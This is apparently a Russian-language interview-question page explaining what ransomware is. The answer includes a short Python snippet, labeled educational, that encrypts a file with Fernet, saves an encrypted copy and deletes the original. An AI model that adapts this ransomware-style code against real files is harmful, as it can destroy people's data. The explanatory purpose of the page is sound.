Что такое шифровальщик

Python Middle Без компании
Что такое шифровальщик
Ответы
Шифровальщик (ransomware) — это вредоносное ПО, которое шифрует файлы на компьютере жертвы и требует выкуп за их расшифровку. Обычно распространяется через фишинговые письма, уязвимости в ПО или заражённые сайты. Пример простого шифровальщика на Python (упрощённый вариант, только для демонстрации): ``` from cryptography.fernet import Fernet import os # Генерация ключа key = Fernet.generate_key() cipher = Fernet(key) # Шифрование файла def encrypt_file(filepath): with open(filepath, 'rb') as f: data = f.read() encrypted = cipher.encrypt(data) with open(filepath + '.encrypted', 'wb') as f: f.write(encrypted) os.remove(filepath) # Пример использования encrypt_file('important_document.txt') ``` Важно: создание и использование шифровальщиков в реальной жизни незаконно! Это пример только для образовательных целей.